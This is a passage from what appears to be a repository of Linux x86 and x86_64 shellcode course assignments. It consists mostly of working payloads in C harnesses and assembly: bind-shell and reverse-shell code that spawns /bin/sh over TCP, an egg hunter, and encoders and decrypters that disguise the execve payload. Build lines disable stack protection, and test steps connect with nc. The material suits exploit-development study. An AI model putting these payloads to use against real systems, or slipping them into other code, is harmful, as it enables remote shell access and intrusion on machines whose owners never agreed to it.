72 | __asm__ ("movl $0xffffffff, %eax\n\t"
73 | "movl %eax, %ebx\n\t"
74 | "movl %eax, %ecx\n\t"
75 | "movl %eax, %edx\n\t"
76 | "movl %eax, %esi\n\t"
77 | "movl %eax, %edi\n\t"
78 | "movl %eax, %ebp\n\t"
79 |
80 | // Calling the shellcode
81 | "call shellcode");
82 |
83 | }
84 |
--------------------------------------------------------------------------------
/3rd.assignment/egg_hunter_shellcode.c:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | Egg Hunter Shellcode - C Language - Linux/x86
4 | Copyright (C) 2013 Geyslan G. Bem, Hacking bits
5 |
6 | http://hackingbits.com
7 | geyslan@gmail.com
8 |
9 | This program is free software: you can redistribute it and/or modify
10 | it under the terms of the GNU General Public License as published by
11 | the Free Software Foundation, either version 3 of the License, or
12 | (at your option) any later version.
13 |
14 | This program is distributed in the hope that it will be useful,
15 | but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | GNU General Public License for more details.
18 |
19 | You should have received a copy of the GNU General Public License
20 | along with this program. If not, see .
21 |
22 | */
23 |
24 | /*
25 |
26 | egg_hunter_shellcode
27 |
28 | * 38 bytes
29 | * null-free if egg signature is
30 |
31 |
32 | # gcc -m32 -fno-stack-protector -z execstack egg_hunter_shellcode.c -o egg_hunter_shellcode
33 |
34 | Testing
35 | # ./egg_hunter_shellcode
36 |
37 | */
38 |
39 |
40 | #include
41 | #include
42 |
43 | unsigned char egg[] = \
44 |
45 | // Write "Egg Mark" and exit
46 |
47 | "\x90\x50\x90\x50" // <- First Four Bytes of Signature
48 | "\x90\x50\x90\x50" // <- Same first bytes are mandatory
49 | "\x31\xdb"
50 | "\xf7\xe3\xb0\x04\x6a\x0a\x68\x4d\x61\x72"
51 | "\x6b\x68\x45\x67\x67\x20\xb3\x01\x89\xe1"
52 | "\xb2\x09\xcd\x80\xb0\x01\xcd\x80";
53 |
54 | unsigned char egghunter[] = \
55 |
56 | // Search for the Egg Signature (0x50905090 x 2) - the Egg's 8 first instructions (nop, push eax, nop, push eax...)
57 |
58 | "\xfc\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f"
59 | "\x42\x6a\x21\x58\x8d\x5a\x04\xcd\x80\x3c"
60 | "\xf2\x74\xee\xb8"
61 | "\x90\x50\x90\x50" // <- Signature
62 | "\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7";
63 |
64 |
65 | main ()
66 | {
67 |
68 | // When contains null bytes, printf will show a wrong shellcode length.
69 |
70 | printf("Shellcode Length: %d\n", strlen(egghunter));
71 |
72 | // Pollutes all registers ensuring that the shellcode runs in any circumstance.
73 |
74 | __asm__ ("movl $0xffffffff, %eax\n\t"
75 | "movl %eax, %ebx\n\t"
76 | "movl %eax, %ecx\n\t"
77 | "movl %eax, %edx\n\t"
78 | "movl %eax, %esi\n\t"
79 | "movl %eax, %edi\n\t"
80 | "movl %eax, %ebp\n\t"
81 |
82 | // Setting the egg hunter signature to search (byte reverse order)
83 |
84 | "movl $0x50905090, (egghunter+24)\n\t"
85 |
86 | // Calling the shellcode
87 | "call egghunter");
88 |
89 | }
90 |
--------------------------------------------------------------------------------
/4th.assignment/insertion_decoder_shellcode.c:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | Insertion Decoder Shellcode - C Language - Linux/x86
4 | Copyright (C) 2013 Geyslan G. Bem, Hacking bits
5 |
6 | http://hackingbits.com
7 | geyslan@gmail.com
8 |
9 | This program is free software: you can redistribute it and/or modify
10 | it under the terms of the GNU General Public License as published by
11 | the Free Software Foundation, either version 3 of the License, or
12 | (at your option) any later version.
13 |
14 | This program is distributed in the hope that it will be useful,
15 | but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | GNU General Public License for more details.
18 |
19 | You should have received a copy of the GNU General Public License
20 | along with this program. If not, see .
21 |
22 | */
23 |
24 | /*
25 |
26 | insertion_decoder_shellcode
27 |
28 | * decoder has 33 bytes (the final amount depends on the shellcode length plus garbage bytes)
29 | * null-free
30 | * decodes any pattern of garbage insertion
31 | Eg: True Byte = X, Garbage Byte = _
32 | _ X _ X _ ...
33 | X _ _ X X ...
34 | X X X _ _ ...
35 |
36 |
37 | # gcc -m32 -fno-stack-protector -z execstack insertion_decoder_shellcode.c -o insertion_decoder_shellcode
38 |
39 | Testing
40 | # ./insertion_decoder_shellcode
41 |
42 | */
43 |
44 |
45 | #include
46 | #include
47 |
48 | unsigned char shellcode[] = \
49 |
50 | // Shellcode Decoder (33 bytes)
51 | "\xeb\x1a\x5e\x8d\x3e\x31\xc9\x8b\x1c\x0e"
52 | "\x41\x66\x81\xfb"
53 | "\xf1\xf1" // <- End Signature
54 | "\x74\x0f\x80\xfb"
55 | "\x3f" // <- Garbage Byte
56 | "\x74\xf0\x88\x1f\x47\xeb\xeb\xe8\xe1\xff"
57 | "\xff\xff"
58 |
59 | // Encoded shellcode (length depends of the shellcode plus garbage bytes)
60 | "\x3f\x3f\x3f\x31\x3f\xc9\x3f\xf7\xe1\x3f"
61 | "\xb0\x0b\x3f\x51\x68\x3f\x2f\x2f\x3f\x73"
62 | "\x68\x3f\x68\x2f\x3f\x62\x69\x3f\x6e\x89"
63 | "\x3f\xe3\xcd\x3f\x80\xf1\xf1";
64 |
65 |
66 | main ()
67 | {
68 |
69 | // When contains null bytes, printf will show a wrong shellcode length.
70 |
71 | printf("Shellcode Length: %d\n", strlen(shellcode));
72 |
73 | // Pollutes all registers ensuring that the shellcode runs in any circumstance.
74 |
75 | __asm__ ("movl $0xffffffff, %eax\n\t"
76 | "movl %eax, %ebx\n\t"
77 | "movl %eax, %ecx\n\t"
78 | "movl %eax, %edx\n\t"
79 | "movl %eax, %esi\n\t"
80 | "movl %eax, %edi\n\t"
81 | "movl %eax, %ebp\n\t"
82 |
83 | // Calling the shellcode
84 | "call shellcode");
85 |
86 | }
87 |
--------------------------------------------------------------------------------
/improvements/tiny_shell_bind_tcp_random_port_shellcode_x86_64.c:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | Tiny Shell Bind TCP Random Port Shellcode - C Language - Linux/x86_64
4 | Copyright (C) 2021 Geyslan G. Bem, Hacking bits
5 | All rights reserved.
6 |
7 | http://hackingbits.github.io
8 | geyslan@gmail.com
9 |
10 | This program is free software: you can redistribute it and/or modify
11 | it under the terms of the GNU General Public License as published by
12 | the Free Software Foundation, either version 3 of the License, or
13 | (at your option) any later version.
14 |
15 | This program is distributed in the hope that it will be useful,
16 | but WITHOUT ANY WARRANTY; without even the implied warranty of
17 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
18 | GNU General Public License for more details.
19 |
20 | You should have received a copy of the GNU General Public License
21 | along with this program. If not, see
22 |
23 | */
24 |
25 | /*
26 |
27 | tiny_shell_bind_tcp_random_port_shellcode_x86_64
28 | assembly source:
29 | https://github.com/geyslan/SLAE/blob/master/improvements/tiny_shell_bind_tcp_random_port_x86_64.asm
30 |
31 | * 51 bytes
32 | * null-free
33 |
34 |
35 | # gcc -m64 -fno-stack-protector -z execstack \
36 | tiny_shell_bind_tcp_random_port_shellcode_x86_64.c -o \
37 | tiny_shell_bind_tcp_random_port_shellcode_x86_64
38 |
39 | Testing
40 | First terminal
41 | # ./tiny_shell_bind_tcp_random_port_shellcode_x86_64
42 | Second terminal (Discover the port and connect)
43 | # netstat -anp | grep shell
44 | # nmap -sS 127.0.0.1 -p- (It's necessary to use the TCP SYN scan option [-sS],
45 | avoiding nmap to connect to the port open by shellcode)
46 | # nc 127.0.0.1 port
47 | */
48 |
49 | #include
50 | #include
51 |
52 | int main(void)
53 | {
54 | const char code[] =
55 |
56 | "\x6a\x29\x58\x99\x6a\x01\x5e\x6a\x02\x5f"
57 | "\x0f\x05\x97\xb0\x32\x0f\x05\x96\xb0\x2b"
58 | "\x0f\x05\x97\x96\xff\xce\x6a\x21\x58\x0f"
59 | "\x05\x75\xf7\x52\x48\xbf\x2f\x2f\x62\x69"
60 | "\x6e\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x0f"
61 | "\x05";
62 |
63 | // When contains null bytes, printf will show a wrong shellcode length.
64 | printf("Shellcode Length: %ld\n", strlen(code));
65 |
66 | // Pollutes all registers ensuring that the shellcode runs in any
67 | // circumstance.
68 | __asm__("lea %[code], %%r15\n\t"
69 | "mov $0xffffffffffffffff, %%rax\n\t"
70 | "mov %%rax, %%rbx\n\t"
71 | "mov %%rax, %%rcx\n\t"
72 | "mov %%rax, %%rdx\n\t"
73 | "mov %%rax, %%rsi\n\t"
74 | "mov %%rax, %%rdi\n\t"
75 | "mov %%rax, %%rbp\n\t"
76 | "call *%%r15\n\t"
77 | : /* no outputs */
78 | : [code] "m"(code));
79 | }
80 |
--------------------------------------------------------------------------------
/7th.assignment/uzumaki_decrypter.asm:
--------------------------------------------------------------------------------
1 | ; Uzumaki Decrypter - Assembly Language - Linux/x86
2 | ; Copyright (C) 2013 Geyslan G. Bem, Hacking bits
3 | ;
4 | ; http://hackingbits.com
5 | ; geyslan@gmail.com
6 | ;
7 | ; This program is free software: you can redistribute it and/or modify
8 | ; it under the terms of the GNU General Public License as published by
9 | ; the Free Software Foundation, either version 3 of the License, or
10 | ; (at your option) any later version.
11 | ;
12 | ; This program is distributed in the hope that it will be useful,
13 | ; but WITHOUT ANY WARRANTY; without even the implied warranty of
14 | ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 | ; GNU General Public License for more details.
16 | ;
17 | ; You should have received a copy of the GNU General Public License
18 | ; along with this program. If not, see .
19 |
20 |
21 | ; uzumaki_decrypter
22 | ;
23 | ; * decrypter has 29 bytes (the final amount depends on the shellcode length)
24 | ; * it decrypts the uzumaki cipher, a custom stream cipher algorithm ( (XOR [static] and XOR [pseudorandom]), ADD [static] )
25 | ; * null-free
26 | ;
27 | ;
28 | ; # nasm -f elf32 uzumaki_decrypter.asm
29 | ; # ld -m elf_i386 uzumaki_decrypter.o -o uzumaki_decrypter
30 | ; # for i in $(objdump -d uzumaki_decrypter |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
31 | ;
32 | ; Testing
33 | ; "This binary will not work, because it attempts to modify the text segment where relies the ciphed shellcode"
34 | ; "To test, extract the shellcode of this compiled binary and launch it from another"
35 |
36 |
37 | global _start
38 |
39 | section .text
40 |
41 | _start:
42 | sub ecx, ecx ; zero-ing ecx reg
43 | jz short shellcode ; always jumping to the shellcode (see flags affecteds by sub instruction - ZF)
44 | mainflow:
45 | pop esi ; retrieving the shellcode address
46 | mov cl, 20 ; adjusting the loop counter (shellcode length - 1)
47 | decipher:
48 | inc esi ; analyzing the next offset
49 | mov eax, dword [esi] ; copying bytes from offset to eax
50 | sub eax, 1 ; subtracting ciphed byte of defined static value (ADD)
51 | xor al, 0xcc ; xoring ciphed byte with defined static value (XOR)
52 | xor al, byte [esi - 1] ; xoring ciphed byte with pseudorandom key value (deciphed previous byte)
53 |
54 | mov byte [esi], al ; replacing the crypted byte by the decrypted one
55 | loop decipher ; loop
56 | jmp short execve ; jmp to the shellcode when the loop ends
57 | shellcode:
58 | call mainflow ; returning to the mainflow and putting the next eip into the stack
59 | ; crypted execve /bin/sh
60 | execve: db 0x31,0x35,0xf3,0xdb,0x9e,0x78,0x97,0xf6,0x8c,0xcd
61 | db 0x91,0xd8,0xcd,0x8c,0x82,0xc8,0xcc,0x2c,0xa7,0xe3
62 | db 0x82
63 |
--------------------------------------------------------------------------------
/4th.assignment/insertion_decoder.asm:
--------------------------------------------------------------------------------
1 | ; Insertion Decoder - Assembly Language - Linux/x86
2 | ; Copyright (C) 2013 Geyslan G. Bem, Hacking bits
3 | ;
4 | ; http://hackingbits.com
5 | ; geyslan@gmail.com
6 | ;
7 | ; This program is free software: you can redistribute it and/or modify
8 | ; it under the terms of the GNU General Public License as published by
9 | ; the Free Software Foundation, either version 3 of the License, or
10 | ; (at your option) any later version.
11 | ;
12 | ; This program is distributed in the hope that it will be useful,
13 | ; but WITHOUT ANY WARRANTY; without even the implied warranty of
14 | ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 | ; GNU General Public License for more details.
16 | ;
17 | ; You should have received a copy of the GNU General Public License
18 | ; along with this program. If not, see .
19 |
20 |
21 | ; insertion_decoder
22 | ;
23 | ; * decoder has 33 bytes (the final amount depends on the shellcode length plus garbage bytes)
24 | ; * null-free
25 | ; * decodes any pattern of garbage insertion
26 | ; Eg: True Byte = X, Garbage Byte = _
27 | ; _ X _ X _ ...
28 | ; X _ _ X X ...
29 | ; X X X _ _ ...
30 | ;
31 | ;
32 | ; # nasm -f elf32 insertion_decoder.asm
33 | ; # ld -m elf_i386 insertion_decoder.o -o insertion_decoder
34 | ;
35 | ; Testing
36 | ; "This binary will not work, because it attempts to modify the text segment where relies the encoded shellcode"
37 | ; "To test, extract the shellcode of this compiled binary and launch it from another"
38 |
39 |
40 |
41 | global _start
42 |
43 | section .text
44 |
45 | _start:
46 | jmp getaddress
47 |
48 | mainflow:
49 | pop esi ; extract the address of the shellcode from stack
50 | lea edi, [esi] ; load the shellcode address in edi to use in loop
51 | xor ecx, ecx ; zero the counter
52 |
53 | decoder:
54 | mov ebx, dword [esi + ecx] ; copy the two next bytes to ebx
55 | inc ecx ; let's read the next byte in the next loop
56 |
57 | cmp bx, 0xF1F1 ; compares with the signature in the shellcode's end
58 | je short execve ; is shellcode's end? if yes, run it
59 |
60 | cmp bl, 0x3F ; compares with the garbage byte (0x3F) AAS instruction
61 | ; 3F is the least used opcode as analyzed here http://z0mbie.host.sk/opcodes.html (I know that it's a PE)
62 |
63 | je short decoder ; is an inserted garbage byte? if yes continue looping and trying to find a good one
64 |
65 | mov byte [edi], bl ; when isn't garbage, copy the byte to the correct address
66 | inc edi ; let's to set the next byte of the shellcode
67 | jmp short decoder ; continue decoding
68 |
69 | getaddress:
70 | call mainflow ; call back just to get the eip (address of the coded execve below)
71 | execve: db 0x3F, 0x3F, 0x3F, 0x31, 0x3F, 0xc9, 0x3F, 0xf7, 0xe1, 0x3F
72 | db 0xb0, 0x0b, 0x3F, 0x51, 0x68, 0x3F, 0x2f, 0x2f, 0x3F, 0x73
73 | db 0x68, 0x3F, 0x68, 0x2f, 0x3F, 0x62, 0x69, 0x3F, 0x6e, 0x89
74 | db 0x3F, 0xe3, 0xcd, 0x3F, 0x80
75 | db 0xF1, 0xF1 ; the two last bytes are the stop signature
76 |
--------------------------------------------------------------------------------
/improvements/shell_bind_tcp_getpc.asm:
--------------------------------------------------------------------------------
1 | ; Shell Bind TCP (GetPC/Call/Ret Method) - Assembly Language - Linux/x86
2 | ; Copyright (C) 2013 Geyslan G. Bem, Hacking bits
3 | ;
4 | ; http://hackingbits.com
5 | ; geyslan@gmail.com
6 | ;
7 | ; This program is free software: you can redistribute it and/or modify
8 | ; it under the terms of the GNU General Public License as published by
9 | ; the Free Software Foundation, either version 3 of the License, or
10 | ; (at your option) any later version.
11 | ;
12 | ; This program is distributed in the hope that it will be useful,
13 | ; but WITHOUT ANY WARRANTY; without even the implied warranty of
14 | ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 | ; GNU General Public License for more details.
16 | ;
17 | ; You should have received a copy of the GNU General Public License
18 | ; along with this program. If not, see .
19 |
20 |
21 | ; shell_bind_tcp_getpc
22 | ;
23 | ; * 89 bytes
24 | ; * null-bytes free
25 | ; * uses GetPC method for fun and profit
26 | ;
27 | ;
28 | ; # nasm -f elf32 shell_bind_tcp_getpc.asm -o shell_bind_tcp_getpc.o
29 | ; # ld -m elf_i386 shell_bind_tcp_getpc.o -o shell_bind_tcp_getpc
30 | ; # ./shell_bind_tcp_getpc
31 | ;
32 | ; Testing
33 | ; # nc 127.0.0.1 11111
34 |
35 |
36 | global _start
37 |
38 | section .text
39 |
40 | _start:
41 |
42 | call $+4
43 | ret
44 | pop ebp
45 |
46 | ; opcode value is counted starting in the pop ebp offset until interruption offset
47 | lea ebp, [ebp+74]
48 |
49 | ; Creating the socket file descriptor
50 | ; socket(2, 1, 0)
51 |
52 | xor eax, eax
53 |
54 | cdq
55 | push 1
56 | pop ebx
57 |
58 | ; socket arguments
59 | push edx
60 | push ebx
61 | push 2
62 |
63 | call ebp
64 |
65 | ; Biding the socket with an address type
66 | ; bind(sockfd, [2, port, 0], 16)
67 |
68 | xchg esi, eax
69 |
70 | pop ebx
71 |
72 | ; sockaddr_in struct
73 | push edx
74 | push WORD 0x672b ; port number
75 | push bx
76 |
77 | mov ecx, esp
78 |
79 | ; bind arguments
80 | push 16
81 | push ecx
82 | push esi
83 |
84 | call ebp
85 |
86 | ; Preparing to listen the incoming connection (passive socket)
87 | ; listen(sockfd, 0)
88 |
89 | inc ebx
90 | inc ebx
91 |
92 | push edx
93 | push esi
94 |
95 | call ebp
96 |
97 | ; Accepting the incoming connection
98 | ; accept(sockfd, 0, 0)
99 |
100 | inc ebx
101 |
102 | push edx
103 | push edx
104 | push esi
105 |
106 | call ebp
107 |
108 |
109 | ; Creating a interchangeably copy of the 3 file descriptors (stdin, stdout, stderr)
110 | ; dup2 (clientfd, fd)
111 |
112 | xchg eax, ebx
113 | pop ecx
114 |
115 | dup_loop:
116 | mov al, 63
117 | int 0x80
118 |
119 | dec ecx
120 | jns dup_loop ; looping (2, 1, 0)
121 |
122 |
123 | ; Finally, using execve to substitute the actual process with /bin/sh
124 | ; execve("/bin/sh", ["/bin/sh", 0], 0)
125 | mov al, 11
126 |
127 | push edx
128 | push 0x68732f2f ; "//sh"
129 | push 0x6e69622f ; "/bin"
130 |
131 | mov ebx, esp
132 | push edx
133 | push ebx
134 |
135 | jmp final
136 |
137 |
138 | interruption:
139 |
140 | pop edi
141 |
142 | push 102
143 | pop eax
144 |
145 | final:
146 | mov ecx, esp
147 | int 0x80
148 |
149 | push edi
150 |
151 | ret
152 |
--------------------------------------------------------------------------------
/improvements/x86_execve_dyn.asm:
--------------------------------------------------------------------------------
1 | ; execve Dynamic - Assembly Language - Linux/x86
2 | ; Copyright (c) 2021, Geyslan G. Bem, Hacking bits
3 | ; All rights reserved.
4 | ;
5 | ; http://hackingbits.github.io
6 | ; geyslan@gmail.com
7 | ;
8 | ; Redistribution and use in source and binary forms, with or without
9 | ; modification, are permitted provided that the following conditions
10 | ; are met:
11 | ;
12 | ; * Redistributions of source code must retain the above copyright
13 | ; notice, this list of conditions and the following disclaimer.
14 | ;
15 | ; * Redistributions in binary form must reproduce the above
16 | ; copyright notice, this list of conditions and the following
17 | ; disclaimer in the documentation and/or other materials provided
18 | ; with the distribution.
19 | ;
20 | ; * Neither the name of the Geyslan G. Bem nor the names of its
21 | ; contributors may be used to endorse or promote products derived
22 | ; from this software without specific prior written permission.
23 |
24 | ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
25 | ; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
26 | ; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
27 | ; FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
28 | ; COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
29 | ; INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
30 | ; BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
31 | ; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
32 | ; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
33 | ; LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
34 | ; ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
35 | ; POSSIBILITY OF SUCH DAMAGE.
36 |
37 |
38 | ; x86_execve_dyn
39 | ;
40 | ; * 47 bytes (without dynamic command)
41 | ; * null-free
42 | ;
43 | ;
44 | ; # nasm -f elf32 x86_execve_dyn.asm
45 | ; # ld -m elf_i386 x86_execve_dyn.o -o x86_execve_dyn
46 | ;
47 | ; Testing
48 | ; # ./x86_execve_dyn
49 |
50 | global _start
51 |
52 | section .text
53 |
54 | _start:
55 | xor ebx, ebx
56 | mul ebx ; zero ebx, eax and edx; envp[] = edx = NULL
57 | mov al, 11 ; execve() syscall
58 |
59 | push edx ; NULL pointer
60 | push word 0x632d ; "-c"
61 | mov edi, esp ; edi = pointer to "-c\0" string
62 | jmp getpc
63 | code:
64 | pop esi ; esi = pointer to dynamic command string
65 | mov byte bl, cmdlen ; put cmd length (displacement) into ebx
66 | ; mov word bx, 0x0101
67 | mov [esi+ebx], dl ; put '\0' at the end of the command string
68 |
69 | push edx ; NULL pointer
70 | push 0x68732f2f ; "//sh"
71 | push 0x6e69622f ; "/bin"
72 | mov ebx, esp ; ebx = pointer to "/bin//sh\0" string
73 |
74 | push edx ; NULL pointer
75 | push esi ; pointer to dynamic command
76 | push edi ; pointer to "-c\0"
77 | push ebx ; pointer to "/bin//sh\0"
78 | mov ecx, esp ; argv["/bin//sh\0", "-c\0", "dynamic cmd"] = ecx
79 | int 0x80 ; bingo
80 |
81 | ; for build the shellcode comment the line below (section .data)
82 | ; for test this assembly let it uncommented.
83 | section .data
84 |
85 | getpc:
86 | call code ; return to code saving pc (dynamic cmd pointer) into the stack
87 | string:
88 | db "uname -a"
89 | cmdlen equ $ - string
90 |
--------------------------------------------------------------------------------
/improvements/shell_bind_tcp_random_port_shellcode.asm:
--------------------------------------------------------------------------------
1 | ; Shell Bind TCP Random Port Shellcode - Assembly Language - Linux/x86
2 | ; Copyright (C) 2013 Geyslan G. Bem, Hacking bits
3 | ;
4 | ; http://hackingbits.com
5 | ; geyslan@gmail.com
6 | ;
7 | ; This program is free software: you can redistribute it and/or modify
8 | ; it under the terms of the GNU General Public License as published by
9 | ; the Free Software Foundation, either version 3 of the License, or
10 | ; (at your option) any later version.
11 | ;
12 | ; This program is distributed in the hope that it will be useful,
13 | ; but WITHOUT ANY WARRANTY; without even the implied warranty of
14 | ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 | ; GNU General Public License for more details.
16 | ;
17 | ; You should have received a copy of the GNU General Public License
18 | ; along with this program. If not, see .
19 |
20 |
21 | ; shell_bind_tcp_random_port_shellcode
22 | ;
23 | ; * 65 bytes
24 | ; * null-bytes free
25 | ; * the port number is set by the system and can be discovered using nmap
26 | ; (see http://manuals.ts.fujitsu.com/file/4686/posix_s.pdf, page 23, section 2.6.6)
27 | ;
28 | ;
29 | ; # nasm -f elf32 shell_bind_tcp_random_port_shellcode.asm -o shell_bind_tcp_random_port_shellcode.o
30 | ; # ld -m elf_i386 shell_bind_tcp_random_port_shellcode.o -o shell_bind_tcp_random_port_shellcode
31 | ; # ./shell_bind_tcp_random_port_shellcode
32 | ;
33 | ; Testing
34 | ; # netstat -anp | grep shell
35 | ; # nmap -sS 127.0.0.1 -p- (It's necessary to use the TCP SYN scan option [-sS]; thus avoids that nmap connects to the port open by shellcode)
36 | ; # nc 127.0.0.1 port
37 |
38 |
39 | global _start
40 |
41 | section .text
42 |
43 | _start:
44 |
45 |
46 | ; syscalls (/usr/include/asm/unistd_32.h)
47 | ; socketcall numbers (/usr/include/linux/net.h)
48 |
49 | ; Creating the socket file descriptor
50 | ; int socket(int domain, int type, int protocol);
51 | ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
52 |
53 |
54 | push 102
55 | pop eax
56 | cdq
57 |
58 | push 1
59 | pop ebx
60 |
61 | push edx
62 | push ebx
63 | push 2
64 |
65 | finalint:
66 |
67 | mov ecx, esp
68 | int 0x80
69 |
70 | mov esi, eax
71 |
72 | pop edi
73 |
74 |
75 | ; There's no need of binding the socket (Posix Socket Inteface)
76 |
77 |
78 | ; Preparing to listen the incoming connection (passive socket)
79 | ; int listen(int sockfd, int backlog);
80 | ; listen(sockfd, 0);
81 |
82 | mov al, 102
83 | mov bl, 4
84 |
85 | push edx
86 | push esi
87 |
88 | mov ecx, esp
89 |
90 | int 0x80
91 |
92 |
93 | ; Accepting the incoming connection
94 | ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
95 | ; accept(sockfd, NULL, NULL)
96 |
97 | mov al, 102
98 | inc ebx
99 |
100 | mov [esp+8], edx
101 |
102 | int 0x80
103 |
104 | xchg eax, ebx
105 |
106 |
107 | ; Creating a interchangeably copy of the 3 file descriptors (stdin, stdout, stderr)
108 | ; int dup2(int oldfd, int newfd);
109 | ; dup2 (clientfd, ...)
110 |
111 | ; mov ecx, edi
112 |
113 | pop ecx
114 |
115 | dup_loop:
116 | mov al, 63
117 | int 0x80
118 |
119 | dec ecx
120 | jns dup_loop
121 |
122 |
123 | ; Finally, using execve to substitute the actual process with /bin/sh
124 | ; int execve(const char *filename, char *const argv[], char *const envp[]);
125 | ; exevcve("/bin/sh", NULL, NULL)
126 |
127 | mov al, 11
128 |
129 | push edx
130 | push 0x68732f2f
131 | push 0x6e69622f
132 |
133 | mov ebx, esp
134 | push edx
135 | push ebx
136 |
137 | jmp finalint
138 |
--------------------------------------------------------------------------------
/2nd.assignment/shell_reverse_tcp.asm:
--------------------------------------------------------------------------------
1 | ; Shell Reverse TCP Shellcode - Assembly Language - Linux/x86
2 | ; Copyright (C) 2013 Geyslan G. Bem, Hacking bits
3 | ;
4 | ; http://hackingbits.com
5 | ; geyslan@gmail.com
6 | ;
7 | ; This program is free software: you can redistribute it and/or modify
8 | ; it under the terms of the GNU General Public License as published by
9 | ; the Free Software Foundation, either version 3 of the License, or
10 | ; (at your option) any later version.
11 | ;
12 | ; This program is distributed in the hope that it will be useful,
13 | ; but WITHOUT ANY WARRANTY; without even the implied warranty of
14 | ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 | ; GNU General Public License for more details.
16 | ;
17 | ; You should have received a copy of the GNU General Public License
18 | ; along with this program. If not, see .
19 |
20 |
21 | ; shell_reverse_tcp
22 | ;
23 | ; * 72 bytes
24 | ; * null-bytes free if the address and port are
25 | ;
26 | ;
27 | ; # nasm -f elf32 shell_reverse_tcp.asm -o shell_reverse_tcpl.o
28 | ; # ld -m elf_i386 shell_reverse_tcp.o -o shell_reverse_tcp
29 | ;
30 | ; Testing
31 | ; # nc -l 127.1.1.1 55555
32 | ; # ./shell_reverse_tcp
33 |
34 |
35 | global _start
36 |
37 | section .text
38 |
39 | _start:
40 |
41 | ; host
42 | push 0x0101017f ; IP Number "127.1.1.1" in hex reverse order
43 | pop esi
44 |
45 | ; port
46 | push WORD 0x03d9 ; Port Number 55555 in hex reverse order
47 | pop edi
48 |
49 |
50 | ; syscalls (/usr/include/asm/unistd_32.h)
51 | ; socketcall numbers (/usr/include/linux/net.h)
52 |
53 | ; Creating the socket file descriptor
54 | ; int socket(int domain, int type, int protocol);
55 | ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
56 |
57 | push 102
58 | pop eax ; syscall 102 - socketcall
59 | cdq
60 |
61 | push 1
62 | pop ebx ; socketcall type (sys_socket 1)
63 |
64 | push edx ; IPPROTO_IP = 0 (int)
65 | push ebx ; SOCK_STREAM = 1 (int)
66 | push 2 ; AF_INET = 2 (int)
67 |
68 | finalint:
69 |
70 | mov ecx, esp ; ptr to argument array
71 | int 0x80 ; kernel interruption
72 |
73 | xchg ebx, eax ; set ebx with the sockfd
74 |
75 |
76 | ; Creating a interchangeably copy of the 3 file descriptors (stdin, stdout, stderr)
77 | ; int dup2(int oldfd, int newfd);
78 | ; dup2 (clientfd, ...)
79 |
80 | pop ecx
81 |
82 | dup_loop:
83 | mov al, 63 ; syscall 63 - dup2
84 | int 0x80
85 |
86 | dec ecx
87 | jns dup_loop
88 |
89 |
90 | ; Connecting the duplicated file descriptor to the host
91 | ; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
92 | ; connect(sockfd, [AF_INET, 55555, 127.1.1.1], 16)
93 |
94 | mov al, 102 ; syscall 102 - socketcall
95 | ; socketcall type (sys_connect) 3 - ebx already has it
96 |
97 | ; host address structure
98 | push esi ; IP number
99 | push di ; port in byte reverse order = 55555 (uint16_t)
100 | push WORD 2 ; AF_INET = 2 (unsigned short int)
101 | mov ecx, esp ; struct pointer
102 |
103 | ; connect arguments
104 | push 16 ; sockaddr struct size = sizeof(struct sockaddr) = 16 (socklen_t)
105 | push ecx ; sockaddr_in struct pointer (struct sockaddr *)
106 | push ebx ; socket fd (int)
107 |
108 | mov ecx, esp
109 |
110 | int 0x80
111 |
112 | ; Finally, using execve to substitute the actual process with /bin/sh
113 | ; int execve(const char *filename, char *const argv[], char *const envp[]);
114 | ; exevcve("/bin/sh", NULL, NULL)
115 |
116 | mov al, 11 ; execve syscall
117 |
118 | ; execve string argument
119 | push edx ; null-byte
120 | push 0x68732f2f ; "//sh"
121 | push 0x6e69622f ; "/bin"
122 |
123 | mov ebx, esp ; ptr to ["bin//sh", NULL] string
124 | push edx ; null ptr to argv
125 | push ebx ; null ptr to envp
126 |
127 | jmp finalint ; and jump to bingo
128 |
--------------------------------------------------------------------------------
/1st.assignment/shell_bind_tcp_shellcode.asm:
--------------------------------------------------------------------------------
1 | ; Shell Bind TCP Shellcode - Assembly Language - Linux/x86
2 | ; Copyright (C) 2013 Geyslan G. Bem, Hacking bits
3 | ;
4 | ; http://hackingbits.com
5 | ; geyslan@gmail.com
6 | ;
7 | ; This program is free software: you can redistribute it and/or modify
8 | ; it under the terms of the GNU General Public License as published by
